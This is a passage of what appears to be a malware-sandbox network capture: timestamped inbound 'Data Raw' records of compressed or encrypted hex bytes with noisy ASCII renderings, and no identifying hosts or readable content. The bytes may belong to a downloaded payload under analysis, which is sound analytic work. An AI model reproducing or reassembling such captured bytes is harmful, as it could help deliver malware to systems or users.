d0 23 fc 54 03 88 71 70 5a 88 bd bd dc b6 9b f2 94 fa 02 ee 0b 88 f8 cc f3 82 96 53 95 4e 96 b4 c9 72 Data Ascii: \1We`rAOm4j8!$VoZ2WCo&SL?ni?/e>g.RO<VpavFH8TJ-d2POlT-jj=Z?gN 3VQlck\|"%fWws]#TqpZSNr
2022-01-14 03:59:48 UTC	2345	IN	Data Raw: 7f c4 9c 0f 2f 68 f0 ae b2 2e c8 82 0f 72 15 b4 77 dd b5 50 11 8f c2 9c 2a f5 1d 42 68 07 7b 38 f3 83 3d e6 97 b0 84 15 31 9f c0 4d 44 a9 49 0c ec 34 68 5b 8f 18 c2 c5 e4 f4 62 3c b7 ce b1 b0 05 bf 4f 01 87 ba d3 f5 f4 61 5a 0f 0d 07 dd 65 6b 11 49 4b 5f a9 6f a8 ee d5 07 85 5e 0d 40 c7 14 13 31 3b bf 55 6f 46 ab 75 d6 c2 b0 a6 ef f2 17 4e 01 84 36 b9 9a 00 b6 b7 3b f3 d0 5d 03 9c 43 22 62 f2 d8 e5 43 fd da e4 fc ee 97 59 bb 19 65 40 52 ca c8 e4 a3 4d 4b 93 2d 78 97 c8 19 ca 7e 15 78 47 ff 2f e1 d7 e5 60 3b 7e f0 0f 8c 90 9a 34 f2 4f 29 2b 09 ea c8 ab a9 84 bd b0 2d 7e 61 bf d4 3f 18 de 6f a6 c3 aa 1f 33 e6 aa 2d 34 6d 60 3f 79 db ba b8 a9 61 56 6c 7e 41 5e 12 c0 1d a7 d6 5b 57 2f f9 cc 6f bd ee e5 d5 6e 76 99 bd ab fe 26 d1 a5 80 b0 bb cb fa 7b 5e 48 a9 Data Ascii: /h.rwP*Bh{8=1MDI4h[b<OaZekIK_o^@1;UoFuN6;]C"bCYe@RMK-x~xG/`;~4O)+-~a?o3-4m`?yaVl~A^[W/onv&{^H
2022-01-14 03:59:48 UTC	2361	IN	Data Raw: a5 13 49 c2 b9 74 10 fe 75 d1 d1 27 53 93 81 f0 55 48 bc a8 d2 3d 73 f4 2c 93 3f 24 6c 8a 75 ce 38 6e c5 86 d7 a6 12 47 cf 57 12 89 e0 77 e1 bf 15 a9 4d 8e eb d8 9d ca c0 4f 51 e9 32 35 b6 dd 11 df b6 87 fe 5a 26 e1 0f e1 73 87 0d 35 f7 d3 f8 99 8b 8b 6f 7d f5 3e 4d 92 13 66 60 3d e1 ee 15 6a d1 d9 8b 33 f9 96 c9 f9 57 5d 5c 35 9a 53 22 56 42 33 4c d5 61 86 c2 80 5d 88 ec 80 46 09 71 75 fd d0 00 43 05 e9 43 56 f9 79 0b 7b 2a 4b 8a 28 b9 18 2b 0a a9 e7 34 58 08 49 f5 d9 3e 51 dc 5c 4b 02 aa 1d 9b da 03 3c ef 26 7c d6 53 ad 6e 8f 2a b2 29 b1 8a 71 b5 f4 f7 6f 8d 3d 0d 58 09 be 66 a8 a7 4f da 88 e1 36 3e b9 cc e1 9a 7b a9 a5 fe bf c7 d5 0a 4a a3 58 34 fe 97 e5 b5 ab 1b 43 c4 96 7e 48 cf 83 de a0 f1 ed c9 9a 4f 9f 7c 0f 71 be d9 47 17 1b f5 24 db a9 6b 12 f5 Data Ascii: Itu'SUH=s,?$lu8nGWwMOQ25Z&s5o}>Mf`=j3W]\5S"VB3La]FquCCVy{K(+4XI>Q\K<&\|Sn)qo=XfO6>{JX4C~HO\|qG$k
2022-01-14 03:59:48 UTC	2377	IN	Data Raw: f3 c3 1a 9c 63 bd 39 11 ef 08 79 b0 b9 59 18 57 62 4e e4 29 39 d0 bf 1a 69 72 12 ef 42 4f bc 54 99 f1 ac 2d d0 72 d8 9c 1f 41 11 71 89 90 0b 7d cf c2 34 2d 98 32 2d f3 1a 38 c2 47 92 50 0f c3 6c 22 95 a9 ac b7 00 ac cb c8 82 11 89 82 d3 52 81 a1 a7 07 ee cd 7a 3b ab f2 22 e3 d1 49 61 d1 0f 30 8d af 1d 02 5d 6d 00 71 75 e7 b3 8d 75 85 f6 fd ca 20 af 49 da e6 76 80 2b 28 96 3e da d6 6c d4 a4 e3 be 68 17 c0 9d d8 06 59 07 5a 4b 04 8f ed 37 b0 6a 9d c8 08 fb 87 1d 52 98 da bb 65 24 66 29 6c 8e 58 be 0f 1d 33 a7 6a 14 dc 11 91 12 a1 4b e6 04 89 ea 65 bb 0d 0b c8 32 b9 de 07 d9 fd 94 09 36 ed a7 59 2d 03 c1 44 49 b7 d9 bd 6c 0a a6 f6 93 de 4b af bd a1 00 a6 bd 1b be ee 0b 1a eb 12 24 4e bd 0a 4d 85 05 72 7d e0 c6 19 fe ab d7 2e b2 ae 70 f2 22 ac 8e 45 a2 15 88 Data Ascii: c9yYWbN)9irBOT-rAq}4-2-8GPl"Rz;"Ia0]mquu Iv+(>lhYZK7jRe$f)lX3jKe26Y-DIlK$NMr}.p"E
2022-01-14 03:59:48 UTC	2393	IN	Data Raw: a2 ae bc 7a cf 8b 17 9d 1e f8 3f 9c 8f a9 94 08 9a 2e a0 d5 b5 56 1d d2 62 94 12 ff 3c 79 1d 91 95 26 f4 08 92 c1 f2 50 57 89 cb 96 00 a6 e2 eb 09 72 f0 9f 55 60 54 ab 95 61 e2 82 15 f8 6a e0 d8 32 f2 42 3e 14 ec f8 ef 1e 5e d2 4b 12 b6 b2 80 61 6f 4d b0 a6 83 8e 7b fa c8 15 1d b6 cc 36 ca d2 61 7b 44 d3 83 ad 51 1c f6 2d 48 44 51 5b ae fc 89 f2 eb 6b b3 22 4c 3b d4 34 7a f0 e5 0c 6a 7c 10 02 d1 36 82 8c 64 ae 24 69 dd cb 99 83 10 7c a8 f1 43 4b 48 fd 62 b8 8e 76 5e b6 ff 34 f6 e8 08 97 b2 3b 69 0b 60 8d 18 f7 be 86 15 1e f2 77 d5 0b d7 2b 40 53 17 e7 3b 21 7a 4a b7 25 19 84 55 77 e7 5a 8b 11 08 6b ea b1 aa 6a 70 22 01 90 41 36 91 34 7c 66 d3 dc 1e a7 c7 7a 3c 71 92 28 c2 32 48 a8 aa 9f 8c b6 0c c4 3f 88 f8 7a 05 14 05 02 a7 bf 36 5b aa a1 b5 c5 c6 1b dc Data Ascii: z?.Vb<y&PWrU`Taj2B>^KaoM{6a{DQ-HDQ[k"L;4zj\|6d$i\|CKHbv^4;i`w+@S;!zJ%UwZkjp"A64\|fz<q(2H?z6[
2022-01-14 03:59:48 UTC	2409	IN	Data Raw: ff bd 09 5f e8 d6 36 5a b4 e4 92 ee d0 23 bc 94 7b cd ad 3c 7f 6f ca 38 5b 20 5d cf cf e4 f3 b7 e3 83 be 43 6b 8c 37 77 93 10 f4 19 ad eb 69 30 e8 46 6c 8c 0d a9 49 81 50 d5 6b 70 0f ac 30 a7 79 e3 54 ba cb fb 46 48 16 ec c1 11 e4 f6 9f d7 e9 b8 65 e2 bf 68 f4 40 ab a2 37 07 86 fe 24 e6 a4 74 0d 39 48 8e 04 08 27 b1 ce 73 ce 05 44 3e 82 23 1a f8 fe 01 b0 bd 54 2c de 06 2a 4c 30 e0 c5 eb b2 2c 20 f0 df a9 cb d9 8a 9c a1 21 60 22 3f 6d f5 f2 36 df d3 41 a6 63 25 49 f2 bf 1b 86 c9 43 1d 36 5a 3a 91 d8 2e ec 27 1d 3b 52 4b c4 f5 99 39 17 43 b0 0a b6 86 3c 86 8c 2e 1e 2d 41 c3 46 b7 5f 8c 48 4a 93 3a 4b 94 f7 e5 00 95 15 f0 05 f5 47 37 55 b5 61 88 75 9c 61 aa 14 33 78 46 a5 3f 69 2d fa f4 50 d9 a5 36 11 d9 e8 c8 0e 83 9f 6d 79 88 16 a2 fa 2b f0 5e 82 fe 71 91 Data Ascii: _6Z#{<o8[ ]Ck7wi0FlIPkp0yTFHeh@7$t9H'sD>#T,*L0, !`"?m6Ac%IC6Z:.';RK9C<.-AF_HJ:KG7Uaua3xF?i-P6my+^q
2022-01-14 03:59:48 UTC	2425	IN	Data Raw: 29 de 12 e3 ae 3e 52 e8 9b ed d7 a3 5b ec c5 f7 4b 8f 05 05 16 d7 c7 da a5 b0 8c 99 36 5b be c8 5b e5 9c 8e 9f 54 57 56 e9 7f f3 b8 04 e4 c4 cf 0c 29 7a 9b 5f 35 f7 bd 08 56 07 ab 96 e1 60 af af 41 3a 8a 5f 35 d5 2d 3b b3 77 69 8d 58 7c e4 78 9c 2b 91 c5 02 48 71 27 d3 09 0e 8e b9 27 91 75 68 b8 b9 e5 21 f3 e9 b7 c9 2a 79 55 53 4d a7 58 2a e2 45 07 85 a7 e2 3d b7 96 e8 a5 5d 3f 39 31 df c9 90 02 68 ae 6e aa 2c 6c a6 1f 4b 7a 7c fd 69 db cf c4 0e a9 65 9b 05 6f 03 38 42 00 15 4e 83 f8 0b 79 38 60 c3 52 25 17 c5 fa 2d f9 72 83 ef bb 6f a1 dc 9e d3 a6 65 58 94 b0 11 89 e0 10 a0 21 ae d5 e3 47 d2 c6 29 d2 c6 33 17 f3 53 7e 4a 86 92 b8 af 2f 48 fd bf 9e 5b 51 5d eb 60 62 a7 ad ce d2 e5 d0 67 34 0b 07 87 fb 6e 18 a2 33 a4 4e 8e b0 1b 42 2c 6f 6f fe 73 3f 6c b4 Data Ascii: )>R[K6[[TWV)z_5V`A:_5-;wiX\|x+Hq''uh!yUSMXE=]?91hn,lKz\|ieo8BNy8`R%-roeX!G)3S~J/H[Q]`bg4n3NB,oos?l
2022-01-14 03:59:48 UTC	2441	IN	Data Raw: 70 aa 4a 60 a2 7f 87 c8 5a 76 b2 d4 5a d6 af 89 a0 48 df ae 43 a9 b9 c6 04 ba 03 8a 47 61 ee 72 32 14 30 2e 9e 98 f2 4d e7 a7 e5 32 e3 d8 c0 53 e2 f7 f7 2c 37 1e c9 67 e3 2c 75 8a dd f2 86 6b 4e 73 bc 23 9c 55 5d 31 71 2d 91 38 93 5a db 81 f3 9e 48 bc b5 41 a8 d3 38 f2 33 b2 7e 02 4d db c7 f3 07 8e a1 b4 9c 52 4d 1f 55 4d 7e 9d 64 89 b3 c0 e2 8e ef 5b 92 46 9c 63 2b 52 28 3c 1a ed 7f 9b ef b8 4c 67 87 68 e8 7a e6 06 e9 2e c5 1c fa 27 87 a5 92 a5 b1 14 15 91 97 ba db 4a d1 8a d8 53 07 90 28 e2 6f b5 77 6f 2f 75 9b 7f dc 20 5b 01 0c 99 96 42 f7 f0 d0 4f c6 ae fe e8 67 de c8 11 81 f2 0b fa ab 71 b6 5f 13 0b 17 7a 73 3e 2f be 2d 66 e9 2f cb 45 e4 f3 4f d0 c5 3c f3 24 71 85 f2 89 de 1a f0 14 3a 86 c1 0e a1 87 77 cc f1 a6 2e 8b b5 32 c7 c9 ce fb 24 39 eb 10 60 Data Ascii: pJ`ZvZHCGar20.M2S,7g,ukNs#U]1q-8ZHA83~MRMUM~d[Fc+R(<Lghz.'JS(owo/u [BOgq_zs>/-f/EO<$q:w.2$9`
2022-01-14 03:59:48 UTC	2457	IN	Data Raw: 58 50 24 cb 93 01 26 6d 2c d1 b2 bc 0b 8a 37 be 6c 1d 0d cc 3e 55 48 71 36 49 9e 24 bd 11 21 a3 58 09 b4 e7 d3 d6 57 1e 40 a4 d7 08 2c 99 da c0 de ef 03 d3 66 60 7c 6a f2 57 f9 4c fe 77 82 94 78 c3 ba 6c 8c e0 02 19 cd 32 89 e1 af 56 43 7a da 4c 19 34 c2 98 ed 77 20 05 82 0b 9e 78 c7 9c 9c f5 a2 8e 19 c9 69 ec f8 95 de 57 62 70 e2 f7 42 29 07 a0 42 0a 7f ac 2f f8 a4 83 23 38 cc 0a 43 87 8f 27 48 37 e3 45 f4 2c 1e 3b 09 98 46 8a 55 5f ab 27 b1 2c 77 5b 44 bc 88 94 64 35 3d bb 68 74 c5 ef b8 45 b5 bc f1 29 55 f4 e3 48 e5 77 c0 a5 c9 ff f6 4b c7 c9 74 47 a9 47 73 31 af b3 9b 95 7f 5a d6 cd 90 ff de 2e 62 bb ad cd e1 51 97 1e 97 b9 5a 5b 8a 12 94 33 6f 05 57 d0 2a a7 4b f9 ef f2 3b d4 d5 60 38 08 f0 b9 80 ac 32 ed 7b 2d 20 42 0d d2 cf a1 b0 c9 0b 9a 26 2f d7 Data Ascii: XP$&m,7l>UHq6I$!XW@,f`\|jWLwxl2VCzL4w xiWbpB)B/#8C'H7E,;FU_',w[Dd5=htE)UHwKtGGs1Z.bQZ[3oW*K;`82{- B&/
2022-01-14 03:59:48 UTC	2473	IN	Data Raw: 71 c6 37 bd ab ad ba 72 26 48 36 0a 12 61 d8 fe 72 f6 92 1b 80 93 8b 9d 02 57 c9 ea 2a 31 90 ee 1a 0f 10 46 ac 12 5b 8e 7d 57 52 9d a4 d1 4d c6 a2 ff ba 8a 45 5a 82 e1 61 33 4b ab b9 f0 87 42 83 c5 7d a8 84 79 86 fd 45 2a c4 7c ac d8 c2 c3 f2 90 0f 12 a9 f7 d8 a4 a9 54 cc 23 4b 0b d5 02 d1 9e 3d 84 63 76 72 0f b8 3a 00 1c 73 16 56 a1 ff 0f 7d 71 db 57 c9 cd 89 9a 6b 6f 3b 10 bf a8 ac 4a 9e 3a 2e b0 83 60 0b 93 da 52 e4 9c 60 ff 21 44 15 fa 37 d4 c8 4a 36 29 53 d5 da aa 2e a0 02 67 ff 6a fa 0f fc f5 3e 03 66 bb 2f c8 0d 56 87 6b bc 7d 6e f4 bc e3 ae ab b6 7d c8 b3 ef 38 92 56 e7 b3 3f d7 fd 93 ec 3b bc 2d b6 a3 6b c1 c5 a7 57 75 8c 30 da 42 cf 96 34 e2 a3 f6 3c bf a8 a9 b7 27 67 d8 e9 72 64 51 b2 d2 37 d0 31 2c cb 2f a8 ac 6d ef 43 38 5e 24 44 0d 3e d5 e2 Data Ascii: q7r&H6arW1F[}WRMEZa3KB}yE\|T#K=cvr:sV}qWko;J:.`R`!D7J6)S.gj>f/Vk}n}8V?;-kWu0B4<'grdQ71,/mC8^$D>
2022-01-14 03:59:48 UTC	2489	IN	Data Raw: f0 55 08 60 41 76 77 ed 82 36 4f 65 32 54 06 77 6c ae 9a b7 e8 09 dd 82 2e 60 19 a2 f1 39 64 0e ee e4 ba d9 52 e8 cf 51 81 f5 4f c0 0b 1d 44 a0 28 f5 9a 3c ca 0c 3b 30 8d c2 d8 8e 59 10 29 2c f5 3a d6 90 e0 72 ad 4f f2 33 5f 73 9d 28 11 a2 fd 4c 03 31 d7 89 c2 9f 06 7f 21 9c 09 2d e4 88 74 7e 0e c4 03 9a ab ae 42 5d 9b 0c 98 58 4b 89 40 b4 a0 02 32 7d bf 6e 22 f0 0e a5 22 03 2b 28 33 49 cb 54 a6 09 63 79 8c b3 14 0b 95 17 2d 96 d0 27 9a e0 d9 24 b5 f2 5b 05 cd b1 3a c4 81 f3 47 cc d4 b8 c0 35 1c 3e a3 84 6c b5 ca 31 bf f6 bf 81 cb 35 19 9b 13 0c 99 06 a7 1b b6 b4 79 42 ca b2 11 c7 0a f4 f8 11 0b 13 d0 da b9 51 47 5c 33 05 9e 93 eb ce 16 33 fd 44 3e 9f 46 8f 70 27 0b 95 d3 6b 52 87 41 d9 a7 f2 55 11 18 ff 8c 41 60 5d 94 0e 51 03 a9 29 c9 51 76 2c 9e 8d 85 Data Ascii: U`Avw6Oe2Twl.`9dRQOD(<;0Y),:rO3_s(L1!-t~B]XK@2}n""+(3ITcy-'$[:G5>l15yBQG\33D>Fp'kRAUA`]Q)Qv,
2022-01-14 03:59:48 UTC	2505	IN	Data Raw: 5a 7a 94 9c a0 39 ed 19 35 01 a1 3f 78 11 88 9a 0e 30 d2 99 21 19 88 e6 24 ca a9 89 08 b5 c6 43 87 4c e7 5d ee e5 ef 6a d9 ca 7a 30 62 90 df 43 15 ec 87 57 db 55 8d 0b 5e bb 80 f1 46 5e 5b 27 eb 12 f4 84 ab 0c a6 5e a4 4d 6b bf 10 b9 a8 65 66 6e f9 50 60 71 0f 3d 78 0d 33 9f 7c 2c 70 79 54 0e 8e 48 b4 80 69 d0 a5 ab 3d 84 70 20 57 26 fd 4e 3e a4 12 f0 9d 6e 28 31 1c 9c 7e 1e 84 c3 52 a4 b5 85 25 3e be f6 fc ff 25 d7 c1 19 cb 52 c0 dd f3 dc 5c 42 24 96 f3 95 58 d2 19 5b ca 1f 3f 7b 3c 78 91 05 36 97 d4 1b 29 cb 18 83 ea 70 18 e1 47 76 03 7d 58 30 55 f1 78 e0 75 61 5b 51 01 e4 c8 c2 60 ae 59 be 24 8f 9f 91 5c 22 ee 91 84 1f 7f 56 7b e0 33 e7 bd 6c 51 62 fb f1 93 da 7f 45 59 30 fc c6 22 39 61 5d 96 32 18 59 4e 42 33 d7 09 67 ea ad a7 16 f1 ca 01 57 ed 4a c0 Data Ascii: Zz95?x0!$CL]jz0bCWU^F^['^MkefnP`q=x3\|,pyTHi=p W&N>n(1~R%>%R\B$X[?{<x6)pGv}X0Uxua[Q`Y$\"V{3lQbEY0"9a]2YNB3gWJ
2022-01-14 03:59:48 UTC	2521	IN	Data Raw: 16 2e 27 67 aa 9c b9 1a 70 25 82 3e 0b 66 1a 04 22 6d 21 7a 65 d1 27 e2 54 5d c0 65 1f 1f 64 f8 f3 87 42 0c fe 54 38 53 c4 37 e6 86 28 c2 16 f0 f5 fd 32 22 d7 a4 27 c0 cb d3 ed 37 e1 75 94 41 a1 38 b0 70 2b ef 45 5a 35 51 12 2b ce 59 0c 0c b9 b4 9e 9d c3 70 99 19 85 6a 92 44 c1 1f cd 39 b6 d0 8e 79 e0 43 b7 80 2c 72 15 89 f4 f4 3d 1b ec cc 25 00 52 03 a2 3e 80 23 d0 a7 5a 15 8c 32 0e f7 97 5b b0 a4 ce d1 2f 05 02 00 1a bd 12 62 12 6d 1f ef 73 02 0b de 9d 33 02 83 cc 7d fc 77 6b 3f b9 4d ab 02 91 67 8f b5 cd 12 75 7e 95 36 35 4f 6d 93 76 c6 f1 d6 50 63 71 1a d3 e8 cc cb 89 13 ed df 61 63 cb fd e3 7c 4c a7 b7 36 49 ba a4 c1 32 f7 f3 e1 59 b9 1a 18 83 86 bf f7 cf 63 51 e3 cd c0 83 d1 ed 80 17 2b ac 6b 5b c4 0a 54 26 39 e1 32 c4 09 b6 1c 71 bc 4c aa 22 82 ad Data Ascii: .'gp%>f"m!ze'T]edBT8S7(2"'7uA8p+EZ5Q+YpjD9yC,r=%R>#Z2[/bms3}wk?Mgu~65OmvPcqac\|L6I2YcQ+k[T&92qL"
2022-01-14 03:59:48 UTC	2537	IN	Data Raw: 59 5e 42 42 4a 04 43 1a ff 8b 4f b2 c7 25 e7 31 2a b1 5c 92 4e 36 bf 8d 97 ae 65 d9 5d ff 30 43 c6 0f d0 26 4e 22 9e 2d 40 a4 f0 90 02 1d 1a 9c 4e f8 10 f4 13 ef 74 12 30 42 eb 42 95 99 06 89 ac df 35 53 df 7b e6 dc a2 5a 1c 1a c0 09 71 e4 8f f7 7e 2d d5 72 8e c9 bf 68 d0 51 d6 1c 01 fc 71 00 5d b4 d1 90 e3 10 45 1d 89 c1 05 6d 15 c4 14 ad 28 42 9b e1 6f 5f 80 1a ce d6 95 50 a6 3b 92 89 88 7f 63 69 1c dc c1 53 a7 5a b4 30 84 64 0a 3c a9 5e 55 d4 4f 48 5f b3 04 b5 3d 85 00 2a 92 6e 92 26 90 cc d0 1f 08 e4 55 a2 ba 40 4c 08 7a b7 84 ab 77 25 ec cc 17 1d 04 7b b0 26 98 55 14 17 7e ee 06 10 04 9e f2 6c 63 23 41 90 48 bb f9 95 31 58 3b b1 81 c3 6e a5 61 41 ba 68 83 de 1a 4d 37 60 a6 15 77 19 87 28 95 5b 23 53 56 da 8f 5a 02 37 5f f7 56 96 62 58 41 5a 7f 22 18 Data Ascii: Y^BBJCO%1\N6e]0C&N"-@Nt0BB5S{Zq~-rhQq]Em(Bo_P;ciSZ0d<^UOH_=n&U@Lzw%{&U~lc#AH1X;naAhM7`w([#SVZ7_VbXAZ"
2022-01-14 03:59:48 UTC	2553	IN	Data Raw: 79 98 5c 00 98 2d 20 16 ce d9 47 01 07 ff e7 81 32 14 07 af 29 33 d2 37 96 94 3f f7 c4 93 bb a3 1f 4d 66 73 49 2e 01 ba a1 90 55 01 08 1a 24 2c c0 4d 08 54 fb f6 bf 54 91 ae e6 39 d8 87 37 1c 34 da 3d 0f d7 bc 0c fb 31 10 65 9b 08 53 44 8a ed 9f ef e6 57 26 06 83 59 d8 2c 66 53 14 80 3d 06 3d 64 25 d7 0c 1b 47 dd 78 7a 5d 2f 4a 5b bd 6d 53 cf e8 6d 0c f1 ce 3a 2a be 68 5b 18 1c 37 f4 e3 8e f7 46 eb 60 1b 2e e5 fe 27 d7 d3 e1 12 b9 0f 93 e4 20 d5 2f 7e 71 c2 b5 9c 74 d4 6b 88 1d 72 2c 10 67 df 06 fa ad 16 fa 64 a6 4f 5c 8d 82 2e 73 c4 8f b5 1a 6a 28 73 ca c5 2d 2d 72 03 4e 08 54 66 51 eb 83 27 06 2f 8e 24 b9 f9 d8 46 4e 8d e0 f5 34 dd 9a 21 48 8d 78 9b 17 58 3c 0f c4 3a cb 7d be e2 cb d7 df 80 0f 39 d3 a7 2d 7c 2f 71 71 cc 07 1e e9 f7 9b d2 f9 91 42 fc a4 Data Ascii: y\- G2)37?MfsI.U$,MTT974=1eSDW&Y,fS==d%Gxz]/J[mSm:*h[7F`.' /~qtkr,gdO\.sj(s--rNTfQ'/$FN4!HxX<:}9-\|/qqB
2022-01-14 03:59:48 UTC	2569	IN	Data Raw: 26 c3 0a c2 7e d0 17 93 3e d3 19 87 ea b9 ea 33 78 c0 72 8b 34 6d ac c6 fd 54 fc 43 6c d7 de 21 bb 22 79 24 c9 2b 6d d2 57 a8 a5 d8 61 61 c8 42 c7 c8 46 c8 1d 80 94 25 18 94 d0 76 04 ef 0b 12 8b 9d df 1e 00 34 8a e4 e7 ec 2a ee f0 14 f7 cc dc 11 a0 74 fa 69 4d 8e 3c c9 d2 f2 eb 8e 56 fb 7c 18 66 66 a8 15 93 b1 b4 ce b8 d2 b4 e0 b3 97 28 87 08 d4 2b 4b d1 e4 b9 62 e5 2c 1e 80 59 db 63 50 22 42 15 34 c4 d9 a3 8a 3a 43 d8 71 3a 18 97 b3 0e 61 6e 25 00 5c dc e4 2e 20 d0 50 10 0b f2 b5 3f 28 15 8f 05 64 94 f9 37 f4 3b 2a d6 3e 5e 67 2a 64 1f e2 79 64 1f f6 27 c1 22 d5 41 6d cd 93 2c 88 a7 c4 f3 1f 7d 30 94 a7 0d 37 19 64 68 51 96 b3 25 28 9e 20 2f 35 eb f8 89 f9 d3 ad 24 9c 89 dd 20 c1 54 04 ce 81 47 71 48 41 8e 85 63 5d 7e d8 19 7b 46 3f 1f 08 ee ec 8f 3a de Data Ascii: &~>3xr4mTCl!"y$+mWaaBF%v4tiM<V\|ff(+Kb,YcP"B4:Cq:an%\. P?(d7;>^g*dyd'"Am,}07dhQ%( /5$ TGqHAc]~{F?:
2022-01-14 03:59:48 UTC	2585	IN	Data Raw: df 2c 31 3b 5b 8e ef 66 dd 43 f0 7e 91 ce 9b 80 8f a6 62 29 fe 34 59 9a 48 86 98 8e ba 9b cd 90 7d 79 24 58 72 c1 19 6c 17 aa 86 c2 e5 da 9b 6f f1 c9 08 ef 64 84 cc 27 41 9e d1 20 02 ae fe b3 51 6c 1a e1 1e 61 fb 4a c8 91 f3 b8 09 dd 8d b2 e9 58 b9 9c af ba 12 a9 61 93 6e 3a a1 67 92 cf d0 c2 f1 63 53 a6 28 6a 2b 09 f2 6a dd 43 eb a2 b3 0c 7d 49 29 c3 46 d7 a3 cf 76 ca 54 07 97 96 6c 43 9c bf a3 42 cb 8f 35 39 45 e8 17 6d 83 71 d3 fd 3b 8b ce d9 64 fb b5 ea 3c fe e3 2e 8a d1 47 16 0c f7 62 a8 75 66 29 f7 7f f9 4f d1 ad 72 2d 46 b9 b0 cf 17 37 c0 14 9a 73 1d a3 76 57 0a c6 6e 41 95 8c e5 28 6d d4 81 b9 32 21 56 2c ba 67 c4 b9 86 8f ac 61 3c 48 19 3d a3 0f 17 fb ba 33 5f d3 10 22 4a 94 5d e9 4c 45 a0 8b 04 77 fe ba d9 0d 11 45 57 94 f4 0c 3f 87 44 2e 90 07 Data Ascii: ,1;[fC~b)4YH}y$Xrlod'A QlaJXan:gcS(j+jC}I)FvTlCB59Emq;d<.Gbuf)Or-F7svWnA(m2!V,ga<H=3_"J]LEwEW?D.
2022-01-14 03:59:48 UTC	2601	IN	Data Raw: 38 ea a9 7c 66 40 25 c0 ca f0 89 ee c7 2e 1c f7 21 d2 68 80 aa 49 44 06 e7 df 1d 80 37 a4 b0 76 1b fc 1d de 55 99 00 d7 49 fa 8a 2c 8c 51 fa 10 f4 98 1a 33 1a c2 5f ad 14 e9 b8 32 64 7a d9 5a 9e 57 4e ea ff 90 04 86 cf 69 58 b5 ac df c8 f0 e3 0e 73 8e 1f 4c 8f 88 b0 71 b8 a5 4b 2b 3e 3b b1 9d e2 9e 06 4c 7f 65 48 a9 73 1b d9 67 54 93 f8 1f 0e 76 02 7d b5 7d 53 51 70 ed bc f7 97 83 55 b3 c3 35 ba 37 21 05 74 58 ef 0e 29 94 e5 25 ac a6 e9 1e c7 51 a7 b2 67 35 40 e6 39 12 8f 97 42 89 67 a3 4c 53 f5 d4 08 cb 8e 1a a0 5a ca db ca 9a 28 a5 89 41 4c f8 3e 58 7d b9 6e 7d 4a 2a c8 95 fc f6 d9 d4 b7 c9 a5 67 d2 e1 40 d7 21 b3 b7 30 e8 0f 27 d6 a1 46 3c 74 eb b7 5a 3b 10 e1 54 e9 77 a6 d9 ea 04 08 92 d4 eb 54 da 7f d1 c1 82 8b 52 05 66 0b c6 f3 3c d0 96 ac 40 69 2d Data Ascii: 8\|f@%.!hID7vUI,Q3_2dzZWNiXsLqK+>;LeHsgTv}}SQpU57!tX)%Qg5@9BgLSZ(AL>X}n}J*g@!0'F<tZ;TwTRf<@i-
2022-01-14 03:59:48 UTC	2617	IN	Data Raw: f1 7c 11 2b b0 79 0c 5b c1 01 68 4a 1a e2 46 ac 8e 90 b9 d7 87 ec cc 31 3e 99 62 4f 88 bb 00 17 53 77 1a 8f a4 9c a1 b6 c2 51 bb dc 75 59 66 0b 50 2b 4a e0 ff e3 ee b1 36 11 4e 83 51 be 01 b2 27 67 bf db 7b 5a c1 f4 90 e9 13 f4 bd 02 92 56 58 c5 93 c1 2f 8c fb 3b 58 a2 f0 f0 c4 67 6d ef 2e ed a1 e7 58 7f 67 2f 21 c5 90 4a de 94 b6 a4 12 aa 65 18 f2 56 cf b1 46 15 51 93 0a 8d 3b 37 89 d1 75 da b1 37 29 48 54 55 da 09 07 ce cd d7 3a a1 d6 fa 88 bc dd 83 98 c4 ec 04 d6 aa eb 72 e7 1a 8e 4b d2 85 13 e1 a9 f8 83 c0 a5 8c 6f e1 c7 be 07 e5 a3 43 0f 1a 92 36 68 db c5 af c1 cd 32 02 91 3f aa 5b 9c 5b 90 c0 62 41 74 a0 a2 03 d1 e5 94 ea 41 55 b5 d2 56 16 dd ed 42 31 46 3b e6 e7 6b c1 c7 89 06 ae 3c b4 e6 c8 17 92 95 89 16 07 e7 f2 68 4a 32 3e 47 8e 4b e1 a1 0d c9 Data Ascii: \|+y[hJF1>bOSwQuYfP+J6NQ'g{ZVX/;Xgm.Xg/!JeVFQ;7u7)HTU:rKoC6h2?[[bAtAUVB1F;k<hJ2>GK
2022-01-14 03:59:48 UTC	2633	IN	Data Raw: db 75 1e b1 0f d0 77 eb a9 bb cb ad 8d da 19 32 77 8a a3 17 d9 dc 14 9c 48 17 80 5a 89 9e f1 5e 68 cb 6d bb 89 9f c8 f9 95 3c 30 71 3d 3e 32 bc 71 5d 9b e5 82 28 13 6a 5f 9a 65 d2 da bc 13 1b 4e 2e 9f 1e 5d e7 a9 d5 d3 4d 51 93 f2 4d 3a 32 14 4e 48 4d f6 d8 7e 76 b8 b1 6f 15 2e e2 55 96 e5 61 bb 7f b9 b1 01 00 c3 a1 f0 12 99 b2 cf 48 c2 d3 d3 56 77 94 16 c3 31 fc 46 81 c4 60 54 4c dc 35 e7 66 38 25 f1 9b bb 9f ab 1b 83 4b 2a 10 db cc ba e8 06 d1 aa 09 12 04 7c 34 b5 8a f9 5b 38 8a 30 c1 d3 33 8e 92 a0 c8 02 f6 12 5e 01 b2 93 b4 dc ce 4d ef 48 92 63 91 18 39 a8 b7 e6 a9 fc 11 9e e0 01 2a e8 03 32 8e dd 87 06 db 2a da 33 87 6c 83 bf c2 21 6c ba 08 22 77 eb c7 c2 81 a7 0a 73 36 cc 22 ca ed d1 7b e6 22 2b 09 a1 46 db 22 59 29 03 6a 13 18 fe 3e e8 ed c4 5d 73 Data Ascii: uw2wHZ^hm<0q=>2q](j_eN.]MQM:2NHM~vo.UaHVw1F`TL5f8%K\|4[803^MHc92*3l!l"ws6"{"+F"Y)j>]s
